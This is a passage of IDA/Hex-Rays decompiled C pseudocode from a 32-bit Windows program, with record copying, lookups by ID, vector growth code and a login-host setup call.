    v25 = *(_WORD *)(368 * v17 + *(_DWORD *)(v14 + 8) + 56);
  v26 = &ST04_4_0;
  LOBYTE(v18) = 0;
  sub_401600((int)&ST04_4_0, -1, 0, (int)&a3);
  if ( (unsigned __int8)sub_40CCC0(v18, v19, v20, v21, 0, 15, v22) )
  {
    if ( (_WORD)v25 )
    {
      if ( !sub_415FD0(v14, v25, (int)&v25) )
      {
        if ( v13 )
          *(_WORD *)v13 = 4;
        sub_401970((int)&a3);
        return 0;
      }
      if ( !sub_415D00(v25, (int)&v25, v14) )
      {
        if ( v23 )
          *(_WORD *)v23 = v25;
        sub_401970((int)&a3);
        return 0;
      }
      v13 = v23;
    }
    if ( sub_413200(18, 0, v14, 19, 0) == 1 )
    {
      sub_401970((int)&a3);
      if ( v13 )
        return 0;
      result = 1;
    }
    else
    {
      if ( v13 )
        *(_WORD *)v13 = 4;
      if ( a8 < 0x10 )
        return 0;
      operator delete(a3);
      result = 0;
    }
  }
  else
  {
    if ( sub_413200(18, 0, v14, 19, 0) != 1 )
    {
      if ( v13 )
        *(_WORD *)v13 = 4;
    }
    if ( a8 < 0x10 )
      return 0;
    operator delete(a3);
    result = 0;
  }
  return result;
}

//----- (0040D060) --------------------------------------------------------
int __usercall sub_40D060<eax>(int a1<edi>, int a2<esi>)
{
  int v2; // eax@1
  signed int v3; // edx@1

  sub_401600(a2, -1, 0, a1);
  sub_401600(a2 + 28, -1, 0, a1 + 28);
  *(_WORD *)(a2 + 56) = *(_WORD *)(a1 + 56);
  sub_401600(a2 + 60, -1, 0, a1 + 60);
  *(_WORD *)(a2 + 88) = *(_WORD *)(a1 + 88);
  *(_BYTE *)(a2 + 90) = *(_BYTE *)(a1 + 90);
  *(_DWORD *)(a2 + 92) = *(_DWORD *)(a1 + 92);
  *(_DWORD *)(a2 + 96) = *(_DWORD *)(a1 + 96);
  *(_DWORD *)(a2 + 100) = *(_DWORD *)(a1 + 100);
  *(_BYTE *)(a2 + 104) = *(_BYTE *)(a1 + 104);
  *(_WORD *)(a2 + 106) = *(_WORD *)(a1 + 106);
  *(_BYTE *)(a2 + 108) = *(_BYTE *)(a1 + 108);
  v2 = a2 + 109;
  v3 = 16;
  do
  {
    *(_BYTE *)v2 = *(_BYTE *)(a1 - a2 + v2);
    ++v2;
    --v3;
  }
  while ( v3 );
  sub_405570(a1 + 128, a2 + 128);
  *(_DWORD *)(a2 + 144) = *(_DWORD *)(a1 + 144);
  *(_DWORD *)(a2 + 148) = *(_DWORD *)(a1 + 148);
  *(_BYTE *)(a2 + 152) = *(_BYTE *)(a1 + 152);
  *(_DWORD *)(a2 + 156) = *(_DWORD *)(a1 + 156);
  sub_401600(a2 + 160, -1, 0, a1 + 160);
  sub_401600(a2 + 188, -1, 0, a1 + 188);
  *(_BYTE *)(a2 + 216) = *(_BYTE *)(a1 + 216);
  *(_BYTE *)(a2 + 217) = *(_BYTE *)(a1 + 217);
  *(_BYTE *)(a2 + 218) = *(_BYTE *)(a1 + 218);
  sub_401600(a2 + 220, -1, 0, a1 + 220);
  sub_401600(a2 + 248, -1, 0, a1 + 248);
  sub_401600(a2 + 276, -1, 0, a1 + 276);
  sub_401600(a2 + 304, -1, 0, a1 + 304);
  sub_401600(a2 + 332, -1, 0, a1 + 332);
  *(_DWORD *)(a2 + 360) = *(_DWORD *)(a1 + 360);
  *(_DWORD *)(a2 + 364) = *(_DWORD *)(a1 + 364);
  return a2;
}

//----- (0040D200) --------------------------------------------------------
int __usercall sub_40D200<eax>(int a1<esi>)
{
  int result; // eax@3

  if ( *(_DWORD *)(a1 + 24) >= 0x10u )
    operator delete(*(_DWORD *)(a1 + 4));
  result = 0;
  *(_DWORD *)(a1 + 24) = 15;
  *(_DWORD *)(a1 + 20) = 0;
  *(_BYTE *)(a1 + 4) = 0;
  return result;
}

//----- (0040D230) --------------------------------------------------------
#error "40D2FB: positive sp value has been found (funcsize=62)"

//----- (0040D300) --------------------------------------------------------
char __stdcall sub_40D300(int a1, int a2, int a3, int a4, int a5, int a6, signed int a7, int a8, int a9, int a10, int a11, int a12, int a13, unsigned int a14, int a15, char a16)
{
  void *ST04_4_0; // ST04_4@0
  int ST08_4_0; // ST08_4@0
  int ST0C_4_0; // ST0C_4@0
  int ST10_4_0; // ST10_4@0
  int ST20_4_0; // ST20_4@0
  int ST24_4_0; // ST24_4@0
  int ST28_4_0; // ST28_4@0
  int ST2C_4_0; // ST2C_4@0
  int ST38_4_0; // ST38_4@0
  char v25; // bl@1
  char v27; // ST3C_1@1
  int v28; // ST1C_4@1
  signed int v29; // [sp+14h] [bp-4h]@1
  void **v30; // [sp+8h] [bp-10h]@1

  v29 = 1;
  v27 = a16;
  *(_DWORD *)&a16 = &ST20_4_0;
  LOBYTE(ST20_4_0) = 0;
  sub_401600((int)&ST20_4_0, -1, 0, (int)&a9);
  LOBYTE(v29) = 2;
  v30 = &ST04_4_0;
  LOBYTE(ST04_4_0) = 0;
  sub_401600((int)&ST04_4_0, -1, 0, (int)&a2);
  LOBYTE(v29) = 1;
  v25 = sub_413570(
          a1,
          ST04_4_0,
          ST08_4_0,
          ST0C_4_0,
          ST10_4_0,
          0,
          15,
          v28,
          ST20_4_0,
          ST24_4_0,
          ST28_4_0,
          ST2C_4_0,
          0,
          15,
          ST38_4_0,
          v27);
  if ( (unsigned int)a7 >= 0x10 )
    operator delete(a2);
  a7 = 15;
  a6 = 0;
  LOBYTE(a2) = 0;
  if ( a14 >= 0x10 )
    operator delete(a9);
  return v25;
}

//----- (0040D3E0) --------------------------------------------------------
signed int __thiscall sub_40D3E0(int this, int a2, int a3, int a4, int a5, unsigned int a6, unsigned int a7, int a8)
{
  unsigned int v8; // ebx@1
  int v9; // esi@2
  int v10; // ecx@3
  unsigned int v11; // eax@5
  unsigned int v12; // edi@5
  int v13; // edx@8
  signed int result; // eax@16
  signed int v15; // edx@1
  int v16; // eax@13
  signed int v17; // [sp+10h] [bp-10h]@1

  v15 = (signed int)(*(_DWORD *)(this + 12)
                   - *(_DWORD *)(this + 8)
                   + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(this + 12) - *(_DWORD *)(this + 8))) >> 32)) >> 8;
  v8 = ((signed int)(*(_DWORD *)(this + 12)
                   - *(_DWORD *)(this + 8)
                   + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(this + 12) - *(_DWORD *)(this + 8))) >> 32)) >> 8)
     + ((unsigned int)(*(_DWORD *)(this + 12)
                     - *(_DWORD *)(this + 8)
                     + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(this + 12) - *(_DWORD *)(this + 8))) >> 32)) >> 31);
  v17 = 0;
  if ( v15 + ((unsigned int)v15 >> 31) )
  {
    v9 = *(_DWORD *)(this + 8);
    while ( 1 )
    {
      v10 = a2;
      if ( a7 < 0x10 )
        v10 = (int)&a2;
      v12 = *(_DWORD *)(v9 + 16);
      v11 = a6;
      if ( v12 < a6 )
        v11 = *(_DWORD *)(v9 + 16);
      if ( *(_DWORD *)(v9 + 20) < 0x10u )
        v13 = v9;
      else
        v13 = *(_DWORD *)v9;
      if ( !sub_401F10(v11, v13, v10) && v12 >= a6 && !(v12 != a6) )
        break;
      v16 = v17 + 1;
      v9 += 368;
      ++v17;
      if ( v16 >= v8 )
        goto LABEL_14;
    }
    if ( a7 >= 0x10 )
      operator delete(a2);
    result = v17;
  }
  else
  {
LABEL_14:
    if ( a7 >= 0x10 )
      operator delete(a2);
    result = -1;
  }
  return result;
}

//----- (0040D4E0) --------------------------------------------------------
signed int __usercall sub_40D4E0<eax>(__int16 a1<bx>, int a2<edi>)
{
  int v2; // eax@1
  signed int v3; // esi@1
  int v4; // ecx@2
  signed int result; // eax@5
  int v6; // ecx@1
  signed int v7; // edx@1
  unsigned int v8; // eax@1
  char v9; // zf@1

  v6 = *(_DWORD *)(a2 + 12) - *(_DWORD *)(a2 + 8);
  v7 = (signed int)(v6 + ((unsigned __int64)(-1307163959i64 * v6) >> 32)) >> 8;
  v8 = (unsigned int)(v6 + ((unsigned __int64)(-1307163959i64 * v6) >> 32)) >> 31;
  v3 = 0;
  v9 = v7 + v8 == 0;
  v2 = v7 + v8;
  if ( v9 )
  {
LABEL_5:
    result = -1;
  }
  else
  {
    v4 = *(_DWORD *)(a2 + 8) + 88;
    while ( *(_WORD *)v4 != a1 )
    {
      ++v3;
      v4 += 368;
      if ( v3 >= (unsigned int)v2 )
        goto LABEL_5;
    }
    result = v3;
  }
  return result;
}

//----- (0040D520) --------------------------------------------------------
signed int __usercall sub_40D520<eax>(int a1<edx>, __int16 a2<si>)
{
  signed int result; // eax@1
  int v3; // ecx@1
  int v4; // edx@2

  result = 0;
  v3 = (*(_DWORD *)(a1 + 28) - *(_DWORD *)(a1 + 24)) >> 5;
  if ( v3 )
  {
    v4 = *(_DWORD *)(a1 + 24);
    while ( *(_WORD *)v4 != a2 )
    {
      ++result;
      v4 += 32;
      if ( result >= (unsigned int)v3 )
        goto LABEL_5;
    }
  }
  else
  {
LABEL_5:
    result = -1;
  }
  return result;
}

//----- (0040D550) --------------------------------------------------------
char __stdcall sub_40D550(signed int a1, char a2)
{
  int v2; // ebx@2
  __int16 v3; // ax@4
  int v4; // esi@4
  int v6; // eax@2
  __int16 v7; // cx@16
  int  s; // [sp+74h] [bp+0h]@1
  unsigned int v9; // [sp+64h] [bp-10h]@1
  signed int v10; // [sp+28h] [bp-4Ch]@1
  int v11; // [sp+24h] [bp-50h]@1
  signed int v12; // [sp+44h] [bp-30h]@2
  int v13; // [sp+40h] [bp-34h]@2
  char v14; // [sp+30h] [bp-44h]@2
  int v15; // [sp+54h] [bp-20h]@2
  int v16; // [sp+58h] [bp-1Ch]@2
  int v17; // [sp+5Ch] [bp-18h]@2
  int v18; // [sp+70h] [bp-4h]@2
  __int16 v19; // [sp+4Ch] [bp-28h]@2
  __int16 v20; // [sp+50h] [bp-24h]@2
  char v21; // [sp+10h] [bp-64h]@2
  int v22; // [sp+14h] [bp-60h]@2
  __int16 v23; // [sp+4Eh] [bp-26h]@7
  int v24; // [sp+18h] [bp-5Ch]@7
  int v25; // [sp+1Ch] [bp-58h]@7
  char v26; // [sp+2Ch] [bp-48h]@7

  v9 = (unsigned int)& s ^ dword_426018;
  v10 = a1;
  LOBYTE(v11) = a2;
  if ( (unsigned __int8)(a2 - 1) > 4u )
    return 0;
  v2 = 0;
  v12 = 15;
  v13 = 0;
  v14 = 0;
  v15 = 0;
  v16 = 0;
  v17 = 0;
  v18 = 0;
  setLoginHost(byte_4212B9, 0, (int)&v14);
  v19 = 0;
  v20 = 4;
  v6 = sub_40A820((int)&v21, v11);
  LOBYTE(v18) = 1;
  sub_4056D0(v6, (int)&v15);
  if ( v22 )
    operator delete(v22);
  v4 = v10;
  v3 = *(_WORD *)(v10 + 642);
  if ( v3 )
  {
    v10 = 9;
  }
  else
  {
    v3 = sub_415B20(v10);
    v10 = 8;
    v2 = 0;
  }
  v23 = v3;
  v22 = v2;
  v24 = v2;
  v25 = v2;
  LOBYTE(v18) = 2;
  sub_404E50((int)&v22, (int)&v26);
  if ( sub_413200(v10, (int)&v10, v4, 19, (int)&v22) != 1 )
  {
    if ( v22 )
      operator delete(v22);
    goto LABEL_10;
  }
  if ( !sub_415D00(v10, (int)&v10, v4) || (_WORD)v10 )
  {
    sub_405B20((int)&v22);
LABEL_10:
    sub_404C00((int)&v26);
    return 0;
  }
  v7 = v23;
  *(_BYTE *)(v4 + 640) = v11;
  *(_WORD *)(v4 + 642) = v7;
  sub_405B20((int)&v22);
  sub_404C00((int)&v26);
  return 1;
}

//----- (0040D950) --------------------------------------------------------
char __stdcall sub_40D950(int a1)
{
  int v1; // eax@1
  int v2; // edx@1
  unsigned int v3; // ecx@1
  int v4; // ebx@1
  unsigned int v5; // edi@1
  int v6; // esi@1
  int v7; // ebx@2
  int v8; // eax@6
  int v9; // eax@8
  _BYTE *v10; // ebx@10
  int v11; // esi@11
  unsigned int v12; // edi@13
  int v13; // esi@13
  unsigned int v14; // eax@15
  int v15; // esi@23
  unsigned int v16; // edi@25
  int v17; // esi@25
  unsigned int v18; // eax@27
  int v19; // eax@35
  _BYTE *v20; // ebx@37
  int v21; // esi@38
  unsigned int v22; // edi@40
  int v23; // esi@40
  unsigned int v24; // eax@42
  int v25; // esi@50
  unsigned int v26; // edi@52
  int v27; // esi@52
  unsigned int v28; // eax@54
  int v29; // eax@62
  _BYTE *v30; // ebx@64
  int v31; // esi@65
  unsigned int v32; // edi@67
  int v33; // esi@67
  unsigned int v34; // eax@69
  int v35; // esi@77
  unsigned int v36; // edi@79
  int v37; // esi@79
  unsigned int v38; // eax@81
  unsigned int v39; // edi@91
  int v40; // esi@91
  int v41; // ebx@92
  _BYTE *v42; // ebx@98
  int v43; // esi@99
  unsigned int v44; // edi@101
  int v45; // esi@101
  unsigned int v46; // eax@103
  int v47; // esi@111
  unsigned int v48; // edi@113
  int v49; // esi@113
  unsigned int v50; // eax@115
  int v51; // eax@123
  _BYTE *v52; // ebx@125
  int v53; // esi@126
  unsigned int v54; // edi@128
  int v55; // esi@128
  unsigned int v56; // eax@130
  int v57; // esi@138
  unsigned int v58; // edi@140
  int v59; // esi@140
  unsigned int v60; // eax@142
  int v61; // eax@150
  _BYTE *v62; // ebx@152
  int v63; // esi@153
  unsigned int v64; // edi@155
  int v65; // esi@155
  unsigned int v66; // eax@157
  int v67; // esi@165
  unsigned int v68; // edi@167
  int v69; // esi@167
  unsigned int v70; // eax@169
  int v71; // eax@177
  _BYTE *v72; // ebx@179
  int v73; // esi@180
  unsigned int v74; // edi@182
  int v75; // esi@182
  unsigned int v76; // eax@184
  int v77; // esi@192
  unsigned int v78; // edi@194
  int v79; // esi@194
  unsigned int v80; // eax@196
  unsigned int v81; // edi@206
  int v82; // esi@206
  int v83; // ebx@207
  _BYTE *v84; // ebx@213
  int v85; // esi@214
  unsigned int v86; // edi@216
  int v87; // esi@216
  unsigned int v88; // eax@218
  int v89; // esi@226
  unsigned int v90; // edi@228
  int v91; // esi@228
  unsigned int v92; // eax@230
  int v93; // eax@238
  _BYTE *v94; // ebx@240
  int v95; // esi@241
  unsigned int v96; // edi@243
  int v97; // esi@243
  unsigned int v98; // eax@245
  int v99; // esi@253
  unsigned int v100; // edi@255
  int v101; // esi@255
  unsigned int v102; // eax@257
  int v103; // eax@265
  _BYTE *v104; // ebx@267
  int v105; // esi@268
  unsigned int v106; // edi@270
  int v107; // esi@270
  unsigned int v108; // eax@272
  int v109; // esi@280
  unsigned int v110; // edi@282
  int v111; // esi@282
  unsigned int v112; // eax@284
  int v113; // eax@292
  _BYTE *v114; // ebx@294
  int v115; // esi@295
  unsigned int v116; // edi@297
  int v117; // esi@297
  unsigned int v118; // eax@299
  int v119; // esi@307
  unsigned int v120; // edi@309
  int v121; // esi@309
  unsigned int v122; // eax@311
  unsigned int v123; // edi@321
  int v124; // esi@321
  int v125; // ebx@322
  _BYTE *v126; // ebx@328
  int v127; // esi@329
  unsigned int v128; // edi@331
  int v129; // esi@331
  unsigned int v130; // eax@333
  int v131; // esi@341
  unsigned int v132; // edi@343
  int v133; // esi@343
  unsigned int v134; // eax@345
  int v135; // eax@353
  _BYTE *v136; // ebx@355
  int v137; // esi@356
  unsigned int v138; // edi@358
  int v139; // esi@358
  unsigned int v140; // eax@360
  int v141; // esi@368
  unsigned int v142; // edi@370
  int v143; // esi@370
  unsigned int v144; // eax@372
  int v145; // eax@380
  _BYTE *v146; // ebx@382
  int v147; // esi@383
  unsigned int v148; // edi@385
  int v149; // esi@385
  unsigned int v150; // eax@387
  int v151; // esi@395
  unsigned int v152; // edi@397
  int v153; // esi@397
  unsigned int v154; // eax@399
  int v155; // eax@407
  _BYTE *v156; // ebx@409
  int v157; // esi@410
  unsigned int v158; // edi@412
  int v159; // esi@412
  unsigned int v160; // eax@414
  int v161; // esi@422
  unsigned int v162; // edi@424
  int v163; // esi@424
  unsigned int v164; // eax@426
  unsigned int v165; // edi@436
  int v166; // esi@436
  int v167; // ebx@437
  _BYTE *v168; // ebx@443
  int v169; // esi@444
  unsigned int v170; // edi@446
  int v171; // esi@446
  unsigned int v172; // eax@448
  int v173; // esi@456
  unsigned int v174; // edi@458
  int v175; // esi@458
  unsigned int v176; // eax@460
  int v177; // eax@468
  _BYTE *v178; // ebx@470
  int v179; // esi@471
  unsigned int v180; // edi@473
  int v181; // esi@473
  unsigned int v182; // eax@475
  int v183; // esi@483
  unsigned int v184; // edi@485
  int v185; // esi@485
  unsigned int v186; // eax@487
  int v187; // eax@495
  _BYTE *v188; // ebx@497
  int v189; // esi@498
  unsigned int v190; // edi@500
  int v191; // esi@500
  unsigned int v192; // eax@502
  int v193; // esi@510
  unsigned int v194; // edi@512
  int v195; // esi@512
  unsigned int v196; // eax@514
  int v197; // eax@522
  _BYTE *v198; // ebx@524
  int v199; // esi@525
  unsigned int v200; // edi@527
  int v201; // esi@527
  unsigned int v202; // eax@529
  int v203; // esi@537
  unsigned int v204; // edi@539
  int v205; // esi@539
  unsigned int v206; // eax@541
  unsigned int v207; // edi@551
  int v208; // esi@551
  int v209; // ebx@552
  _BYTE *v210; // edi@558
  int v211; // esi@559
  unsigned int v212; // edx@561
  int v213; // esi@561
  unsigned int v214; // eax@563
  int v215; // esi@571
  unsigned int v216; // edx@573
  int v217; // esi@573
  unsigned int v218; // eax@575
  int v219; // eax@585
  unsigned int v220; // ecx@585
  int v221; // edx@586
  int v222; // eax@591
  unsigned int v223; // ecx@591
  int v224; // edx@592
  char v225; // bl@597
  unsigned int v227; // [sp+10h] [bp-24h]@1
  int v228; // [sp+14h] [bp-20h]@1
  int v229; // [sp+18h] [bp-1Ch]@1
  signed int v230; // [sp+30h] [bp-4h]@1
  _BYTE v231[5]; // [sp+23h] [bp-11h]@8

  v4 = a1;
  v3 = 0;
  v1 = 0;
  v2 = 0;
  v5 = 0;
  v227 = 0;
  v228 = 0;
  v229 = 0;
  v230 = 0;
  v6 = (*(_DWORD *)(a1 + 472) - *(_DWORD *)(a1 + 468)) >> 2;
  if ( !v6 )
    goto LABEL_91;
  v7 = *(_DWORD *)(a1 + 468);
  while ( *(_WORD *)v7 != 1 )
  {
    ++v5;
    v7 += 4;
    if ( v5 >= v6 )
      goto LABEL_90;
  }
  sub_405D20((int)&v227, 1u);
  v8 = v228;
  if ( v228 )
  {
    *(_BYTE *)v228 = 0;
    v8 = v228;
  }
  v9 = v8 + 1;
  v3 = v227;
  v228 = v9;
  v231[0] = 1;
  if ( (unsigned int)v231 >= v9 || v227 > (unsigned int)v231 )
  {
    v2 = v229;
    if ( v9 == v229 )
    {
      v15 = v9 - v227;
      if ( v9 - v227 > 0xFFFFFFFE )
        v9 = std___Xlength_error("vector<T> too long");
      v17 = v15 + 1;
      v16 = v2 - v3;
      if ( v17 > v2 - v3 )
      {
        if ( -1 - (v16 >> 1) >= v16 )
          v18 = (v16 >> 1) + v16;
        else
          v18 = 0;
        if ( v18 < v17 )
          v18 = v17;
        sub_405D20((int)&v227, v18);
        v2 = v229;
        v9 = v228;
        v3 = v227;
      }
    }
    if ( v9 )
    {
      *(_BYTE *)v9 = 1;
      goto LABEL_34;
    }
  }
  else
  {
    v2 = v229;
    v10 = &v231[-v227];
    if ( v9 == v229 )
    {
      v11 = v9 - v227;
      if ( v9 - v227 > 0xFFFFFFFE )
        v9 = std___Xlength_error("vector<T> too long");
      v13 = v11 + 1;
      v12 = v2 - v3;
      if ( v13 > v2 - v3 )
      {
        if ( -1 - (v12 >> 1) >= v12 )
          v14 = (v12 >> 1) + v12;
        else
          v14 = 0;
        if ( v14 < v13 )
          v14 = v13;
        sub_405D20((int)&v227, v14);
        v2 = v229;
        v9 = v228;
        v3 = v227;
      }
    }
    if ( v9 )
    {
      *(_BYTE *)v9 = v10[v3];
LABEL_34:
      v2 = v229;
      v3 = v227;
      v9 = v228;
      goto LABEL_35;
    }
  }
LABEL_35:
  v19 = v9 + 1;
  v228 = v19;
  v231[0] = 0;
  if ( (unsigned int)v231 >= v19 || v3 > (unsigned int)v231 )
  {
    if ( v19 == v2 )
    {
      v25 = v19 - v3;
      if ( v19 - v3 > 0xFFFFFFFE )
        v19 = std___Xlength_error("vector<T> too long");
      v27 = v25 + 1;
      v26 = v2 - v3;
      if ( v27 > v2 - v3 )
      {
        if ( -1 - (v26 >> 1) >= v26 )
          v28 = (v26 >> 1) + v26;
        else
          v28 = 0;
        if ( v28 < v27 )
          v28 = v27;
        sub_405D20((int)&v227, v28);
        v2 = v229;
        v19 = v228;
        v3 = v227;
      }
    }
    if ( v19 )
    {
      *(_BYTE *)v19 = 0;
      goto LABEL_61;
    }
  }
  else
  {
    v20 = &v231[-v3];
    if ( v19 == v2 )
    {
      v21 = v19 - v3;
      if ( v19 - v3 > 0xFFFFFFFE )
        v19 = std___Xlength_error("vector<T> too long");
      v23 = v21 + 1;
      v22 = v2 - v3;
      if ( v23 > v2 - v3 )
      {
        if ( -1 - (v22 >> 1) >= v22 )
          v24 = (v22 >> 1) + v22;
        else
          v24 = 0;
        if ( v24 < v23 )
          v24 = v23;
        sub_405D20((int)&v227, v24);
        v2 = v229;
        v19 = v228;
        v3 = v227;
      }
    }
    if ( v19 )
    {
      *(_BYTE *)v19 = v20[v3];
LABEL_61:
      v2 = v229;
      v3 = v227;
      v19 = v228;
      goto LABEL_62;
    }
  }
LABEL_62:
  v29 = v19 + 1;
  v228 = v29;
  v231[0] = 4;
  if ( (unsigned int)v231 >= v29 || v3 > (unsigned int)v231 )
  {
    if ( v29 == v2 )
    {
      v35 = v29 - v3;
      if ( v29 - v3 > 0xFFFFFFFE )
        v29 = std___Xlength_error("vector<T> too long");
      v37 = v35 + 1;
      v36 = v2 - v3;
      if ( v37 > v2 - v3 )
      {
        if ( -1 - (v36 >> 1) >= v36 )
          v38 = (v36 >> 1) + v36;
        else
          v38 = 0;
        if ( v38 < v37 )
          v38 = v37;
        sub_405D20((int)&v227, v38);
        v2 = v229;
        v29 = v228;
        v3 = v227;
      }
    }
    if ( v29 )
    {
      *(_BYTE *)v29 = 4;
      goto LABEL_88;
    }
  }
  else
  {
    v30 = &v231[-v3];
    if ( v29 == v2 )
    {
      v31 = v29 - v3;
      if ( v29 - v3 > 0xFFFFFFFE )
        v29 = std___Xlength_error("vector<T> too long");
      v33 = v31 + 1;
      v32 = v2 - v3;
      if ( v33 > v2 - v3 )
      {
        if ( -1 - (v32 >> 1) >= v32 )
          v34 = (v32 >> 1) + v32;
        else
          v34 = 0;
        if ( v34 < v33 )
          v34 = v33;
        sub_405D20((int)&v227, v34);
        v2 = v229;
        v29 = v228;
        v3 = v227;
      }
    }
    if ( v29 )
    {
      *(_BYTE *)v29 = v30[v3];
LABEL_88:
      v2 = v229;
      v3 = v227;
      v29 = v228;
      goto LABEL_89;
    }
  }
LABEL_89:
  v1 = v29 + 1;
  v228 = v1;
LABEL_90:
  v4 = a1;
LABEL_91:
  v39 = 0;
  v40 = (*(_DWORD *)(v4 + 472) - *(_DWORD *)(v4 + 468)) >> 2;
  if ( !v40 )
    goto LABEL_206;
  v41 = *(_DWORD *)(v4 + 468);
  while ( *(_WORD *)v41 != 19 )
  {
    ++v39;
    v41 += 4;
    if ( v39 >= v40 )
      goto LABEL_205;
  }
  v231[0] = 0;
  if ( (unsigned int)v231 >= v1 || v3 > (unsigned int)v231 )
  {
    if ( v1 == v2 )
    {
      v47 = v1 - v3;
      if ( v1 - v3 > 0xFFFFFFFE )
        v1 = std___Xlength_error("vector<T> too long");
      v49 = v47 + 1;
      v48 = v2 - v3;
      if ( v49 > v2 - v3 )
      {
        if ( -1 - (v48 >> 1) >= v48 )
          v50 = (v48 >> 1) + v48;
        else
          v50 = 0;
        if ( v50 < v49 )
          v50 = v49;
        sub_405D20((int)&v227, v50);
        v2 = v229;
        v1 = v228;
        v3 = v227;
      }
    }
    if ( v1 )
    {
      *(_BYTE *)v1 = 0;
      goto LABEL_122;
    }
  }
  else
  {
    v42 = &v231[-v3];
    if ( v1 == v2 )
    {
      v43 = v1 - v3;
      if ( v1 - v3 > 0xFFFFFFFE )
        v1 = std___Xlength_error("vector<T> too long");
      v45 = v43 + 1;
      v44 = v2 - v3;
      if ( v45 > v2 - v3 )
      {
        if ( -1 - (v44 >> 1) >= v44 )
          v46 = (v44 >> 1) + v44;
        else
          v46 = 0;
        if ( v46 < v45 )
          v46 = v45;
        sub_405D20((int)&v227, v46);
        v2 = v229;
        v1 = v228;
        v3 = v227;
      }
    }
    if ( v1 )
    {
      *(_BYTE *)v1 = v42[v3];
LABEL_122:
      v2 = v229;
      v3 = v227;
      v1 = v228;
      goto LABEL_123;
    }
  }
LABEL_123:
  v51 = v1 + 1;
  v228 = v51;
  v231[0] = 19;
  if ( (unsigned int)v231 >= v51 || v3 > (unsigned int)v231 )
  {
    if ( v51 == v2 )
    {
      v57 = v51 - v3;
      if ( v51 - v3 > 0xFFFFFFFE )
        v51 = std___Xlength_error("vector<T> too long");
      v59 = v57 + 1;
      v58 = v2 - v3;
      if ( v59 > v2 - v3 )
      {
        if ( -1 - (v58 >> 1) >= v58 )
          v60 = (v58 >> 1) + v58;
        else
          v60 = 0;
        if ( v60 < v59 )
          v60 = v59;
        sub_405D20((int)&v227, v60);
        v2 = v229;
        v51 = v228;
        v3 = v227;
      }
    }
    if ( v51 )
    {
      *(_BYTE *)v51 = 19;
      goto LABEL_149;
    }
  }
  else
  {
    v52 = &v231[-v3];
    if ( v51 == v2 )
    {
      v53 = v51 - v3;
      if ( v51 - v3 > 0xFFFFFFFE )
        v51 = std___Xlength_error("vector<T> too long");
      v55 = v53 + 1;
      v54 = v2 - v3;
      if ( v55 > v2 - v3 )
      {
        if ( -1 - (v54 >> 1) >= v54 )
          v56 = (v54 >> 1) + v54;
        else
          v56 = 0;
        if ( v56 < v55 )
          v56 = v55;
        sub_405D20((int)&v227, v56);
        v2 = v229;
        v51 = v228;
        v3 = v227;
      }
    }
    if ( v51 )
    {
      *(_BYTE *)v51 = v52[v3];
LABEL_149:
      v2 = v229;
      v3 = v227;
      v51 = v228;
      goto LABEL_150;
    }
  }
LABEL_150:
  v61 = v51 + 1;
  v228 = v61;
  v231[0] = 0;
  if ( (unsigned int)v231 >= v61 || v3 > (unsigned int)v231 )
  {
    if ( v61 == v2 )
    {
      v67 = v61 - v3;
      if ( v61 - v3 > 0xFFFFFFFE )
        v61 = std___Xlength_error("vector<T> too long");
      v69 = v67 + 1;
      v68 = v2 - v3;
      if ( v69 > v2 - v3 )
      {
        if ( -1 - (v68 >> 1) >= v68 )
          v70 = (v68 >> 1) + v68;
        else
          v70 = 0;
        if ( v70 < v69 )
          v70 = v69;
        sub_405D20((int)&v227, v70);
        v2 = v229;
        v61 = v228;
        v3 = v227;
      }
    }
    if ( v61 )
    {
      *(_BYTE *)v61 = 0;
      goto LABEL_176;
    }
  }
  else
  {
    v62 = &v231[-v3];
    if ( v61 == v2 )
    {
      v63 = v61 - v3;
      if ( v61 - v3 > 0xFFFFFFFE )
        v61 = std___Xlength_error("vector<T> too long");
      v65 = v63 + 1;
      v64 = v2 - v3;
      if ( v65 > v2 - v3 )
      {
        if ( -1 - (v64 >> 1) >= v64 )
          v66 = (v64 >> 1) + v64;
        else
          v66 = 0;
        if ( v66 < v65 )
          v66 = v65;
        sub_405D20((int)&v227, v66);
        v2 = v229;
        v61 = v228;
        v3 = v227;
      }
    }
    if ( v61 )
    {
      *(_BYTE *)v61 = v62[v3];
LABEL_176:
      v2 = v229;
      v3 = v227;
      v61 = v228;
      goto LABEL_177;
    }
  }
LABEL_177:
  v71 = v61 + 1;
  v228 = v71;
  v231[0] = 4;
  if ( (unsigned int)v231 >= v71 || v3 > (unsigned int)v231 )
  {
    if ( v71 == v2 )
    {
      v77 = v71 - v3;
      if ( v71 - v3 > 0xFFFFFFFE )
        v71 = std___Xlength_error("vector<T> too long");
      v79 = v77 + 1;
      v78 = v2 - v3;
      if ( v79 > v2 - v3 )
      {
        if ( -1 - (v78 >> 1) >= v78 )
          v80 = (v78 >> 1) + v78;
        else
          v80 = 0;
        if ( v80 < v79 )
          v80 = v79;
        sub_405D20((int)&v227, v80);
        v2 = v229;
        v71 = v228;
        v3 = v227;
      }
    }
    if ( v71 )
    {
      *(_BYTE *)v71 = 4;
      goto LABEL_203;
    }
  }
  else
  {
    v72 = &v231[-v3];
    if ( v71 == v2 )
    {
      v73 = v71 - v3;
      if ( v71 - v3 > 0xFFFFFFFE )
        v71 = std___Xlength_error("vector<T> too long");
      v75 = v73 + 1;
      v74 = v2 - v3;
      if ( v75 > v2 - v3 )
      {
        if ( -1 - (v74 >> 1) >= v74 )
          v76 = (v74 >> 1) + v74;
        else
          v76 = 0;
        if ( v76 < v75 )
          v76 = v75;
        sub_405D20((int)&v227, v76);
        v2 = v229;
        v71 = v228;
        v3 = v227;
      }
    }
    if ( v71 )
    {
      *(_BYTE *)v71 = v72[v3];
LABEL_203:
      v2 = v229;
      v3 = v227;
      v71 = v228;
      goto LABEL_204;
    }
  }
LABEL_204:
  v1 = v71 + 1;
  v228 = v1;
LABEL_205:
  v4 = a1;
LABEL_206:
  v81 = 0;
  v82 = (*(_DWORD *)(v4 + 472) - *(_DWORD *)(v4 + 468)) >> 2;
  if ( !v82 )
    goto LABEL_321;
  v83 = *(_DWORD *)(v4 + 468);
  while ( *(_WORD *)v83 != 2 )
  {
    ++v81;
    v83 += 4;
    if ( v81 >= v82 )
      goto LABEL_320;
  }
  v231[0] = 0;
  if ( (unsigned int)v231 >= v1 || v3 > (unsigned int)v231 )
  {
    if ( v1 == v2 )
    {
      v89 = v1 - v3;
      if ( v1 - v3 > 0xFFFFFFFE )
        v1 = std___Xlength_error("vector<T> too long");
